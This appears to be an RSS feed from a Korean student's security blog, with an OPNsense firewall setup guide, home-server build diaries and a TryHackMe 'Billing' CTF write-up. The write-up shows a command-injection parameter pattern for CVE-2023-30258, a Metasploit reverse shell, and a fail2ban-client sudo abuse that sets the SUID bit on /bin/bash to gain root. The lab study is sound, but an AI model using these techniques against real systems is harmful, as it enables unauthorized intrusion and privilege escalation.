<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Z3R0C0K3</title>
        <link>https://velog.io/</link>
        <description>해킹 공부하는 대학생입니다.</description>
        <lastBuildDate>Thu, 26 Feb 2026 11:51:49 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Z3R0C0K3</title>
            <url>https://velog.velcdn.com/images/z_coke/profile/302dd954-936b-4dd8-b63a-ececad1f32d5/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. Z3R0C0K3. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/z_coke" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[[OPNsense 구축기] 구축기 시작]]></title>
            <link>https://velog.io/@z_coke/opnsense-1</link>
            <guid>https://velog.io/@z_coke/opnsense-1</guid>
            <pubDate>Thu, 26 Feb 2026 11:51:49 GMT</pubDate>
            <description><![CDATA[<h1 id="방화벽-구축-연재-start">방화벽 구축 연재 START</h1>
<p>왜 벌써 왔냐구요?
벌써 온 이유는 어제 쓴 글을 기점으로 최대한 자주 업데이트 상황이 있을때마다 공유하고 싶어졌어요.
오늘은 왕 고할메가커피 빨고 와서 그런지 잠이 안옵니다,,, 그래서 쓰고 자려고 켰어요.</p>
<p>일단 오늘부터 방화벽 구축기를 진행해볼까 합니다.
방화벽이라니 갑작스러우신가요? <del>아닐수도 있고</del>
일단 구축한 계기부터 짚고 넘어가보죠.</p>
<h1 id="왜-갑자기-방화벽">왜 갑자기 방화벽?</h1>
<p>일단 제가 어떤 영상을 보게 되었어요.</p>
<p>!youtube[vzblP-AsK78]</p>
<p>고고!포스트잇!(GoGo!Post_IT) 님의 10인치 홈랩 구축기 였습니다.</p>
<p>보다 보니까 중간에 이런게 있더라구요?</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/385c6e30-a542-4712-9371-fe8f706e2e7b/image.png" alt=""></p>
<p>&#39;저게 뭐고&#39; 하고 찾아보니까 방화벽용 미니PC로 확인되어서 바로 만능 알리 익스프레스에 검색을 돌렸죠.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/4185e38d-cf99-459a-8390-dc99fa8ff195/image.png" alt=""></p>
<p>찾아보니까 이런게 나오더군요.
이 때, 라우터가 A3004T를 쓰고 있을때라 트래픽을 처리를 못하는 상황이라서 구축을 결심했습니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/dbfa8322-d710-45f7-9851-6bff22f205c7/image.png" alt=""></p>
<p>고램가 시대에 직면한 저는 8GB RAM 128GB SSD가 포함된 시스템은 저에게 딱 맞았죠.
아쉽게 RJ45 포트가 2개가 전부인게 조금 걸렸지만 15만원에 저정도면 충분했습니다.</p>
<p>그렇게 저는 구매를 했고 PFsense대신 최신 패치가 진행중인 OPNsense로 선택하게 되었습니다.</p>
<h1 id="근데-너-proxmox-있잖아">근데 너 Proxmox 있잖아</h1>
<p>근데 막상 도착하고 나서 생각해보니까 저는 개쩌는 Proxmox가 있더라구요? <del>멍청이</del>
하지만 &quot;트래픽을 처리하는데 있어서 하드웨어를 분리하는 것이 맞다&quot;는 생각을 하면서 자기합리화를 했어요.</p>
<p>어찌됐든, 방화벽용 미니PC 는 구매했으니까 OPNsense로 설치를 진행했습니다.</p>
<h1 id="opnsense-설치">OPNsense 설치</h1>
<p>내용에 들어가기에 앞서, <a href="https://tech-recipe.tistory.com/23">마늘김 - OPNsense로 방화벽 구축하기 [1편]</a> 을 참고하여 설치를 진행했습니다.</p>
<p>일단 저는 예전에 학교에서 공부, 보안, 개발까지 잘하는 오각형 인재 남 모씨의 옆에서 고등학교 때 정보보안 실습서버에 방화벽을 구성하는 것을 본 것 말고는 해본 적이 1도 없어요. <del>사실 남 모씨가 구축 다했음</del></p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/b67f9a8f-e39d-40f2-aaab-1e056b812b27/image.png" alt=""></p>
<p>그래서 처음에 방화벽 구축 블로그를 토대로 설치와 LAN, WAN 인터페이스를 설정해줬어요.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/745477ef-6b5e-4018-8bcc-512da57f85b7/image.png" alt=""></p>
<p>일단, 친절한 남 모씨가 알려줬던 Ventoy USB에 <a href="https://opnsense.org/download/">OPNsense 공홈</a>에 들어가서 dvd ISO 파일을 다운 후 넣어줍니다.
이 후에 USB로 부팅해주면 됩니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/4d9ee67e-df22-46e3-915c-aa296992c01c/image.png" alt=""></p>
<p>처음 USB로 부팅하면 이렇게 뜨는데, 여기는 그냥 스킵하고 지나가면 됩니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/f6a61250-635e-4a13-9bc0-4f39a30a42c9/image.png" alt=""></p>
<p>그리고 지나가다 보면 이런게 뜨는데, 현재 부팅한게 USB고, Live로 부팅해둔 상태라서 반드시 <code>installer</code> 계정으로 접속해서 진행해줘야 합니다.
비밀번호는 <code>root</code>와 <code>installer</code> 둘다 <code>opnsense</code> 입니다.</p>
<p><code>installer</code>로 로그인하게 되면,</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/039d75fc-f71c-4077-be53-ac741a0dac1c/image.png" alt=""></p>
<p>이런 시퍼런 화면이 절 반겨줍니다. 여기서는 그냥 엔터를 치고 넘어갑니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/fb6a51d3-386c-4adf-93b1-f2926722a45c/image.png" alt=""></p>
<p>아마 다음 화면에 이런게 뜰건데 여기선 둘중에 하나를 선택해야합니다.</p>
<blockquote>
<p>ZFS : 최신형 파일 시스템. RAID 지원하고, 여러 고급 기능이 있는데 무거워서 RAM 8GB 이상만 추천하긴 함.
UFS: 레거시 파일 시스템. 일단 문제생기면 고치기 쉽고 가벼워서 RAM 2GB도 쌉가능.</p>
</blockquote>
<p>저는 마침 8GB 라서 바로 그냥 ZFS로 했어요.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/220bdebd-ff59-4a05-83c0-626d7499ac43/image.png" alt=""></p>
<p>그 다음에는 이런게 나오는데 이거는 RAID 설정이라서 저는 SSD가 하나라, 그냥 stripe 로 진행했습니다.
이후에 나오는 건 다 Yes로 진행하면 설치가 진행됩니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/f341644a-487a-4150-aa6e-b537cc6f36ab/image.png" alt=""></p>
<p>이제 설치 다 끝나면 이런 화면이 나오는데, 여기서 <code>root</code> 의 패스워드를 설정해줄 수 있어요.
모든게 끝났다면, complete Install을 실행해서 재부팅 되도록 해주면 설치는 끝납니다.</p>
<h1 id="opnsense-설정---인터페이스-잡기">OPNsense 설정 - 인터페이스 잡기</h1>
<p><img src="https://velog.velcdn.com/images/z_coke/post/b9bf7e7a-91e1-4d12-bd19-27b2da9ec34b/image.png" alt=""></p>
<p>설정 후에 원래는 아마 LAN, WAN이 정상적으로 안 잡혀있을거에요.
저는 지금 모든 설정이 완료된 상태라서 이렇게 나오는 겁니다.</p>
<p>여기서는 일단 WAN이 연결이 되어있다는 전제로 진행해볼게요.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/7c689eb0-0357-4e5c-b89b-928a2c14853d/image.jpeg" alt=""></p>
<p>제 장비로 설명해보자면, 친절하게 ETH0과 ETH1을 적어두었더라구요.</p>
<blockquote>
<p>ETH0 -&gt; re0
ETH1 -&gt; re1</p>
</blockquote>
<p>저의 경우에는 이렇게 번호에 맞게 NIC가 붙어있는 것을 확인했습니다.
저는 re0을 WAN, re1을 LAN 포트로 사용할 것이기 때문에 이렇게 설정해주겠습니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/5f1b13b5-a2ef-4a26-9b9b-919316aeab2f/image.png" alt=""></p>
<p>저 빨간색 처진 부분이 입력하는 부분이고, 노란색은 엔터, 초록색은 확인만 하면 됩니다.</p>
<p>이렇게 최종적으로 <code>re1</code> 에 LAN, <code>re0</code> 에 WAN을 지정해주었습니다.</p>
<h1 id="opnsense-설정---ip-잡아주기">OPNsense 설정 - IP 잡아주기</h1>
<p>이제 LAN 포트에 자신의 컴퓨터를 꽂고, shell에 나온 LAN의 IP주소로 접속해줍니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/a478a4f4-7be9-4b12-8f0f-ee11ab9f760c/image.png" alt=""></p>
<p>저의 경우엔 <a href="https://192.168.1.1">https://192.168.1.1</a> 이라서 이 링크로 브라우저로 접속하면
접속하면 위 같은 마법사 창이 뜰 겁니다. 여기서는 시스템 정보를 입력해주면 됩니다.
저는 Timezone을 서울로 맞춰주고, DNS 서버를 총 3개를 등록해두었습니다.</p>
<p>그리고 반드시 Override DNS를 해제해야 통신사 DNS로 덮어씌워지지 않습니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/394ee48a-e0b7-49b8-857d-c85179c910f5/image.png" alt=""></p>
<p>그 다음은 WAN 설정 파트입니다. 여기서는 WAN의 MAC 주소 등을 설정할 수 있습니다.
하단 체크박스는 WAN 인터페이스의 스푸핑 공격 차단 기능이기 때문에 활성화가 필수입니다!</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/e87632c1-c428-4bc1-a325-074f695a1021/image.png" alt=""></p>
<p>다음은 LAN 설정 파트입니다. 여기서는 LAN의 IP 대역을 설정할수 있습니다.
26.1 버전 부터는 DHCP 서버가 변경되면서 DNSMasq로 DHCP 서버가 사용됩니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/616f3d20-556a-4053-bca2-cabafe1995cf/image.png" alt=""></p>
<p>다음은 Deployment type 이라는 메뉴인데 여기는 그냥 넘어가면 됩니다.</p>
<p>마지막으로 아마 루트 비밀번호 설정을 해주는 걸텐데 웹패널, shell 접속시 필요하니까 잘 기억해둬야 해요.</p>
<h1 id="다음편-예고">다음편 예고</h1>
<p><img src="https://velog.velcdn.com/images/z_coke/post/a3ef2038-f8f9-4c52-b8e3-c5e33f4c3193/image.png" alt=""></p>
<p>이제 이후에는 Wireguard 설정을 진행하고, 최종적으로는 IDS/IPS를 설정하면서 마무리할 듯 해요.
이번에 방화벽 구축하면서 OPNsense가 26.1로 업데이트 되면서 많은 변화가 있었는데 이 부분을 다룰 것 같습니다.</p>
<p>신기하게 국내분들 중에서 이번 버전 구축 블로그가 없더라구요?
그래서 제가 써보려구요 :)</p>
<p>Rmx<img src="https://velog.velcdn.com/images/z_coke/post/bce62868-1782-4ad4-9845-472029ac96a9/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Server] 홈서버 업그레이드 탐험기 - 03]]></title>
            <link>https://velog.io/@z_coke/Server-%ED%99%88%EC%84%9C%EB%B2%84-%EC%97%85%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%83%90%ED%97%98%EA%B8%B0-03</link>
            <guid>https://velog.io/@z_coke/Server-%ED%99%88%EC%84%9C%EB%B2%84-%EC%97%85%EA%B7%B8%EB%A0%88%EC%9D%B4%EB%93%9C-%ED%83%90%ED%97%98%EA%B8%B0-03</guid>
            <pubDate>Tue, 24 Feb 2026 11:08:26 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/z_coke/post/b6b6248d-23d6-4392-960a-fd5778acfd45/image.png" alt=""></p>
<h1 id="시리즈-revive">시리즈 Re:vive</h1>
<p>네,,, 오랜만에 돌아왔습니다.</p>
<p>변명을 좀 하자면, 쓴다 쓴다하던걸 잊고 있다가 개강 1주일 전에 해킹캠프 갔다온거 쓸 겸 찾아왔는데</p>
<p>이걸 발견해서 이거 먼저 다 쓰고 하자는 생각으로 쓰기 시작했습니다.</p>
<p>그리고 추가 에피소드들도 생겨서 더 써내려갈 예정입니다.</p>
<p>그리고 여태 껏 반말로만 했는데 존칭을 섞어서 한번 진행 해봐야겠어요.</p>
<p>여튼 시작합니다.</p>
<h1 id="지난-이야기">지난 이야기</h1>
<p>메인보드 교체와 ECC 램을 달면서 부팅에 성공하게 된다.</p>
<p>그리고 새로 설치한 Proxmox 환경이 해당 듀얼 CPU 환경을 인식하는지 알아보게 되는데...</p>
<h1 id="proxmox-start">Proxmox start</h1>
<p><img src="https://velog.velcdn.com/images/z_coke/post/1096cba6-12cb-4ea2-a376-06258d069964/image.PNG" alt="">
정상적으로 CPU를 인식하는 것을 볼 수 있었어요.</p>
<p>근데 조금 특이한게 Proxmox 특징인지 CPU를 두개가 묶인것처럼 보인다는 거에요.</p>
<p>이때 추가로 온 램까지 달아주면서 96GB 셋팅 완료.</p>
<h1 id="램-확장-공사">램 확장 공사</h1>
<p>여튼 이후에 128GB로 구성하기 위해서 구매한 램을 추가로 달아줬습니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/e4c66a78-0b08-4d10-8b11-3d611ff5fd7a/image.PNG" alt=""></p>
<p>이건 너무 인상깊어서 찍어 둔 RAM 사진입니다. 전부 16GB로 128GB...</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/d1a3250e-a0cb-4a37-b070-78cf2f0f728a/image.PNG" alt=""></p>
<p>너무 기분 좋게 조립하고,</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/2ba425c4-48cf-4247-8a97-cdf5ba07ed59/image.PNG" alt=""></p>
<p>램 추가 후 서버 조립 완료!</p>
<p>이렇게 셋팅이 끝나고 랙마운트 케이스를 꽂아주기 위한 서버랙을 사줍니다.</p>
<h1 id="서버랙과-허브랙">서버랙과 허브랙</h1>
<p><img src="https://velog.velcdn.com/images/z_coke/post/2263b312-71b1-4645-b7b4-aaec80b79651/image.PNG" alt=""></p>
<p>일단 앞서, 서버랙 허브랙이 뭔 차인지 모른상태에서 구매를 했습니다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/8249ba42-44a5-43e0-8a51-268e3fab6cdc/image.PNG" alt=""></p>
<p>보시다시피 깊이가 안맞는 결과가 나옵니다...</p>
<p>반품을 시도했는데... 너무 무겁다보니 알아서 처리하라는 말을 듣고 환불 처리되었습니다. <del>당근 개이득</del></p>
<p>여튼 이후에 서버랙과 허브랙에 차이를 알아봤는데</p>
<p>랙 규격은 같더라구요? 근데 깊이가 차이가 났습니다.. </p>
<p>게다가 서버랙은 4-50U짜리 엄청 큰 친구들만 있어서 이걸 놓을 자리마저 부족해서 허브랙으로 틀었습니다.</p>
<p>발열 따윈 알빠노였던 과거의 나... 겨우 찾은 깊이의 허브랙을 샀지만 또 다른 문제를 마주치게 되었어요.</p>
<h1 id="또-안맞는다">또 안맞는다...</h1>
<p>이번에도 실패...인줄 알았는데, 랙마운트 개조와 낑겨넣기 기술을 사용해서 문제를 물리적으로 해결.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/a661aae1-0dcf-4e0b-be1e-eabd20657b35/image.png" alt=""></p>
<p>힘으로 어찌저찌 꾸겨넣는데 성공했...을거에요 아마도...</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/1b49f783-0397-4f47-b810-0fe2e8fb4d10/image.PNG" alt=""></p>
<p>이렇게 꾸겨넣은 덕에 잘 들어갔습니다 하하</p>
<h1 id="결말">결말</h1>
<p><img src="https://velog.velcdn.com/images/z_coke/post/c3daf251-0123-4bf7-a99c-9a3713a9162a/image.PNG" alt=""></p>
<p>이 사진으로 마무리하면서 이만 가보겠습니다.</p>
<p>아마 곧 OPNsense 구축기로 돌아오지 않을까 싶네요.</p>
<p>홈서버 업그레이드 탐험기 끄읕!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[THM]Billing]]></title>
            <link>https://velog.io/@z_coke/THM-Billing</link>
            <guid>https://velog.io/@z_coke/THM-Billing</guid>
            <pubDate>Sun, 28 Sep 2025 10:57:30 GMT</pubDate>
            <description><![CDATA[<h1 id="시작">시작</h1>
<p>일단 첫 THM 문제여서 어떤식으로 진행되는지 1도 몰랐다.</p>
<p>무작정 들어가서 시작한거라 아무것도 몰랐다.</p>
<p>THM VPN에 접속한 뒤 해당 문제서버의 nmap을 날렸다.</p>
<h1 id="포트-스캐닝">포트 스캐닝</h1>
<p><img src="https://velog.velcdn.com/images/z_coke/post/b73c43db-aef7-4c76-a499-8713772e74db/image.png" alt=""></p>
<p>처음 nmap을 진행했을 때는 옵션을 <code>-p0-</code> 으로 진행했는데, 너무 느려서 그냥 타 writeup에서 찾은 포트를 스캐닝 했다.</p>
<p>처음에 <code>-A</code> 옵션을 줬을 때는 ssh, http, mysql 그리고 Asterisk라는 서비스의 포트가 열려있었다.</p>
<p>해당 포트의 서비스들을 알게 되었고 한개씩 접근해보았다.</p>
<h1 id="포트별-정보수집">포트별 정보수집</h1>
<p>해당 포트들을 보면 ssh, http, mysql, Asterisk가 있었다.</p>
<p>나머지는 다 한번씩 본 포트, 서비스들인데 Asterisk만 본적이 없다.</p>
<p>그래서 Asterisk가 무엇인지 알아보았다.</p>
<p>Asterisk은 VoIP에서 전화 교환을 맡는 PBX 서비스였다.</p>
<p>해당 5038 포트를 포함해서 모두 접근해보았다.</p>
<h2 id="http">http</h2>
<p><img src="https://velog.velcdn.com/images/z_coke/post/532699d8-7744-429f-ab2c-fda6f09f48f0/image.png" alt=""></p>
<p>해당 페이지를 브라우저로 접근하니까 이런 페이지가 떴다.</p>
<p>근데 로그인 화면만으로는 모르겠어서 이 페이지가 지나가기 전에 뭐가 지나갔었는데</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/a894ad23-fd10-49c0-be01-8502500f1758/image.png" alt=""></p>
<p>바로 이 이미지었다.</p>
<p>찾아보니까 MagnusBilling 이라고 하는 VoIP 요금 계산기였다.</p>
<p>그래서 기본 패스워드를 입력했는데 당연하게도 막혀있었다.</p>
<p>하지만 찾아보니까 RCE가 터졌던 CVE가 있었는데 해당 부분을 먼저 보면 될 것 같다.</p>
<h2 id="ssh">ssh</h2>
<p>일단 사용자 정보가 필요한 ssh 특정상 특이점을 찾진 못했다.</p>
<p>그래서 그냥 다른 서비스들을 더 뒤져보기로 했다.</p>
<h2 id="mysql">mysql</h2>
<p>mysql이 있었는데 이렇게 SQL 서버가 노출 되어 있을때는 그냥 인증없이 접근이 가능한 경우가 있는데 그래서 해봤다.</p>
<p>하지만 실패하고 기본중에 기본인 root/admin 을 시도했지만 실패했다.</p>
<h2 id="asterisk">Asterisk</h2>
<p>보니까 http도 아니고, ssh도 아니고 해서 마지막으로 시도한게 telnet인데 해당 프로토콜에선 접속이 가능했다.</p>
<p>하지만 입력이 가능하지도 않고 <code>asterisk Asterisk Call Manager/2.10.6</code> 이라는 글자만 보여주며 해당 세션은 한 2~30초 내로 닫혔다.</p>
<h1 id="http-웹서버-분석">http 웹서버 분석</h1>
<p>관련 CVE를 찾았는데, 바로 CVE-2023-30258 이었다.</p>
<p>어떤 취약점이냐면,</p>
<p>해당 웹페이지에는 인증없이 접근할 수 있는 곳이 있는데, 바로 <code>http://10.10.13.178/mbilling/lib/icepay/icepay.php</code> 였다.</p>
<p>일단 해당 icepay.php에는 Command Injection 취약점이 있었다.</p>
<p>이제 파라미터로 <code>democ=;{악성 명렁어}</code> 를 넣게 되면 악성 명령어가 실행되게 된다.</p>
<p>웹쉘을 넣으려고 이리저리 시도했는데 왜인지 실패를 했다.</p>
<p>그래서 좀 쌈@뽕한 웹쉘을 찾던 도중,</p>
<p>metasploit-framework에 해당 CVE의 리버스 쉘이 있었다.</p>
<p>그래서 바로 msfconsole 을 이용해서 공격을 진행했고, 성공적으로 리버스 쉘이 따졌다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/62b7274b-7aea-47b5-95b5-f9e4a481a69b/image.png" alt=""></p>
<p>이렇게 리버스 쉘을 따고 msf의 meterpreter 콘솔에 명령어인 shell을 이용해서 bash를 실행하는데 성공했다.</p>
<h1 id="첫번째-flag-찾기---usertxt">첫번째 FLAG 찾기 - user.txt</h1>
<p><img src="https://velog.velcdn.com/images/z_coke/post/156e1737-2e03-4f7d-92f6-fd18720f9b2e/image.png" alt=""></p>
<p>이제 첫번째 문제인 user.txt를 찾아야한다.</p>
<p>find를 돌렸는데 결국에는 못찾았다.</p>
<p>그래서 일단 <code>/</code> 로 이동해서 <code>home</code> 내부를 들어갔다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/3c354aab-989f-45eb-9abf-ddfcf26302ec/image.png" alt=""></p>
<p>이중에 한군데에는 있겠지 라는 생각으로 일단 들어가보면서 찾았다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/0bde94ee-d8b0-4f03-916d-5c12c22431ea/image.png" alt=""></p>
<p>행운이었을까, 찾았다. <del>아직도 이거 된게 신기합니다...</del></p>
<p>여튼 해당 FLAG를 제출하고 다음 문제인 root.txt로 넘어갔다.</p>
<h1 id="두번째-flag-찾기---roottxt">두번째 FLAG 찾기 - root.txt</h1>
<p>일단 앞서 user.txt는 찾기 수월했다.</p>
<p>하지만 이번 root.txt는 예상하기로는 <code>/root</code> 디렉터리에 있을것이기에 권한 상승을 해줘야한다.</p>
<p>일단 권한 상승에서 가장 먼저 떠오르는 명령어는 <code>sudo</code> 이기에 바로 <code>sudo -l</code>로 sudo를 사용할 수 있는지 확인했다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/97053fb6-f09e-4e7b-a1f0-631e2648892b/image.png" alt=""></p>
<p>보다시피 딱 한개의 프로그램에 모든 유저가 패스워드 없이 root로 sudo 사용이 가능하도록 해두었다.</p>
<p>fail2ban인데, 난 이게 뭔지 몰랐고 찾아보니까 외부로부터 이상 행위, 공격 등이 감지되면 해당 IP를 차단하는 프로그램이라고 한다.</p>
<p>근데 이 fail2ban이 iptables같은 root권한이 필요한 작업을 더러 해서 그런지 root 권한으로만 사용이 가능하다.</p>
<p>그래서 위 사진처럼 sudo가 저 프로그램에만 열려 있던 것 같다. <del>sudo가 왜 가능하게 해놨는지는 아직도 이해할 수 없다.</del></p>
<p>이 fail2ban은 iptable이나 관련 매니저 명령어 등을 통해서 IP 밴 조치를 진행한다.</p>
<p>그러면 IP 밴 명령 대신 권한 상승을 위한 명령어를 넣게 된다면 어떻게 될까?</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/98b06b4f-bd5e-4d56-ae98-fe97114d124f/image.png" alt=""></p>
<p>bash를 $가 아닌 #으로 쓸 수 있다는 말이다.</p>
<p>그렇게 권한 상승 공격을 진행했다.</p>
<h2 id="1차-시도---실패">1차 시도 - 실패</h2>
<p>음... 실패했다. 이건 Gemini가 추천 해줬던건데 안된다 역시.</p>
<pre><code class="language-python">import pty; pty.spawn(&quot;/bin/bash&quot;)</code></pre>
<h2 id="2차-시도---성공">2차 시도 - 성공</h2>
<p>일단 이번에 쓸 명령어가 좀 길다.</p>
<pre><code class="language-bash">sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban &#39;chmod +s /bin/bash&#39;</code></pre>
<p>이거다. 하나하나 설명해보자면,</p>
<blockquote>
<ul>
<li>sudo -&gt; root로 권한 상승 (관리자 권한으로 실행)</li>
<li>/usr/bin/fail2ban-client -&gt; fail2ban 클라이언트</li>
<li>set -&gt; fail2ban의 설정/재설정을 진행할 때 쓰는 하위 명령어</li>
<li>asterisk-iptables -&gt; 특정 규칙(jail)의 이름</li>
<li>action -&gt; jail 내의 여러 설정 정보 중 action 항목을 의미하는 하위 명령어</li>
<li>iptables-allports-ASTERISK -&gt; action의 이름</li>
<li>actionban -&gt; IP 차단할 때 실행되는 명령어를 의미하는 하위 명령어</li>
<li>&#39;chmod +s /bin/bash&#39; -&gt; bash에 SUID 비트를 설정하여 켜질때마다 root 권한으로 실행하도록 하는 명령어</li>
</ul>
</blockquote>
<p>이런식으로 풀어서 설명 할 수 있다. </p>
<p>한마디로 <strong>IP 밴 할때 쓰는 명령어를 &#39;항상 bash를 root 권한으로 실행&#39; 명령어로 바꾼 셈이다.</strong></p>
<p>해당 명령어를 사용하면 즉시 SUID 비트가 활성화 된것을 볼 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/d8c7469e-5bac-4ad7-916f-0b97efa857fe/image.png" alt=""></p>
<p>이렇게 rw<strong>S</strong> 권한이 들어간 것을 볼 수 있다. <del>그룹 권한에 들어간건 내가 명령어를 잘못 사용해서 생긴 일이다.</del></p>
<p>이 뒤에 새롭게 /bin/bash를 실행시키면?</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/f3528a0d-f387-48ff-a7bb-6c758d87f020/image.png" alt=""></p>
<p>될리가 없다.</p>
<p>이유를 찾아보니까 최신 bash 에서는 보안상의 이유로 SUID가 설정되면 실제 사용자와 유효 사용자가 다를 경우 권한을 강제적으로 권한을 낮춘다고 한다.</p>
<p>이를 해결하기 위해서는 <code>-p</code> 옵션을 넣게 되면 비활성화 되어서 유효 사용자의 ID로 유지한 상태로 실행하도록 설정할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/66adda87-f633-4798-be65-e3e71c435e6c/image.png" alt=""></p>
<p>추가적으로 리버스 쉘 환경이라 그런지 인터렉티브한 작업이 안되서 <code>-i</code> 옵션까지 추가해서 풀이를 진행했다.</p>
<p>보면 SUID 사용으로 <code>id</code> 명령어를 실행하면 uid와 euid가 나눠져서 나오게 된다. <del>신기하다</del></p>
<h1 id="마무리">마무리</h1>
<p>이렇게 Flag 2개를 잘 찾으면서 첫 THM 문제 풀이는 끝이 났다.</p>
<p>일반적인 워게임하고는 다르게 1-day를 사용해서 Exploit 하는 풀이방식이 좀 신기했고 재미있었다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Server] 홈서버 업그레이드 탐험기 - 02]]></title>
            <link>https://velog.io/@z_coke/server-upgrade-02</link>
            <guid>https://velog.io/@z_coke/server-upgrade-02</guid>
            <pubDate>Tue, 02 Sep 2025 00:58:27 GMT</pubDate>
            <description><![CDATA[<h1 id="지난-이야기">지난 이야기</h1>
<p>이전 일반 데탑 구성에서 제온 구성으로 변경하면서 많은 문제점이 생겼다.</p>
<p>이를 해결하기 위해서 갖은 수를 썼지만 부팅에 실패했다.</p>
<h1 id="부팅이-안돼">부팅이 안돼</h1>
<p>일단 부팅이 안되니까 가장 간단하게 현재 메인보드의 디버그 코드 디스플레이를 확인하는것이다.</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/d058ec88-1ee4-43e8-a037-5e9022c81b09/image.png" alt=""></p>
<p>이런식으로 생긴게 바로 메인보드에 디버그 LED, 디버그 코드라고 하는걸 띄워주는 디스플레이이다.</p>
<p>이 Hex 값들이 메인보드의 현재 status를 띄운다고 생각하면 된다.</p>
<p>근데 문제가 있는데, 이 디버그 코드는 제조사가 지멋대로 구성하는 경우가 태반이다.</p>
<p>그래서 제품별로 디버그 코드가 약간씩 차이가 있다.</p>
<p>근데 나는 보드를 알리에서 샀다. 당연하게 제조사 페이지 조차 찾을 수 없고 이 보드에 대한 정보 또한 알아내기까지 매우 힘들었다.</p>
<p>찾다 찾다 보니까 이 보드 제조사는 MOUGOL이라는 회사가 나오는데 Huananzhi 라고 하는 회사에서도 매-우 비슷하게 생겨먹은 메인보드를 판매하고 있었다.</p>
<p>여기서 드는 생각 -&gt; &quot;메인보드 회로도가 오픈소스인가?&quot;</p>
<p>일단 나는 <code>MOUGOL x99 dual debug code</code>, <code>Huananzhi x99 dual debug code</code> 를 키워드로 구글링을 미친듯이 했다.</p>
<p>여기서 2CPU, 퀘이사존 등 컴퓨터 커뮤니티의 도움을 진짜 많이 받았다.</p>
<p>일단 나는 <a href="https://miyconst.github.io/hardware/cpu/intel/motherboard/2023/11/18/chinese-x99-post-codes.html">천사가 선물한 디버그 코드 모음집</a>을 발견했다.</p>
<p>이를 기반으로 디버그 코드의 값을 추측해나갔고 각종 커뮤에 떠도는 에러들을 종합해서</p>
<p><strong>&quot;뭐가 문제인지 몰랐다.&quot;</strong></p>
<p>점점 갈수록 메인보드나 CPU 문제일것 이라는 생각이 들어서 이를 교환하자는 생각을 하게 된다.</p>
<p>교환은 불가하고 상담원이랑 말도 안통해서 어찌저찌 메인보드를 반품(환불)했고 돈이 들어오는대로 다시 주문을 넣었다.</p>
<p>근데 맙소사</p>
<p><img src="https://velog.velcdn.com/images/z_coke/post/5ccd82dd-23c2-445a-876d-41cd97c96a30/image.png" alt=""></p>
<p>이 반품했을때가 뭐 할인을 겁나해댔을 때라서 그런지 보드에 레전드 할인가가 붙었다.</p>
<p>결론적으로 이득이었다. 기쁜마음으로 주문하고 2주정도 기다려서 보드를 받았다.</p>
<h1 id="new-mainboard">New Mainboard</h1>
<p>새로운 메인보드가 온건 참좋았다. </p>
<p>근데 일단 이 업체에 대해 불신이 쌓인 상태라서 그런지 전처럼 케이스에 설치하고 하는게 아닌 그냥 필요한 선만 연결하고 진행했다.</p>
<p>하지만, 또 부팅이 안됐다.</p>
<p><strong>&quot;설마, 연속 불량은 아니겠지&quot;</strong></p>
<p>가슴을 졸이면서 부팅을 했지만 연이어 실패했다.</p>
<p>근데 보니까 이전 보드와는 디버그 코드가 달랐다.</p>
<p>이전에 디버그 코드는 <a href="https://miyconst.github.io/hardware/cpu/intel/motherboard/2023/11/18/chinese-x99-post-codes.html">천사가 선물한 디버그 코드 모음집</a>에 있는 코드는 아니었어서 커뮤를 뒤졌었는데 이번에는 여기에 있는 코드였다.</p>
<p>아마 <code>B0</code>나 <code>BA</code>였던것 같다. 확실한건 RAM 에러 코드였다.</p>
<p>이를 보고 RAM에 문제가 있나는 생각을 했는데, 이미 이전 시스템에서 돌아가던 RAM을 그대로 잘 사용하고 있었기에 RAM 불량은 절대적으로 아니다.</p>
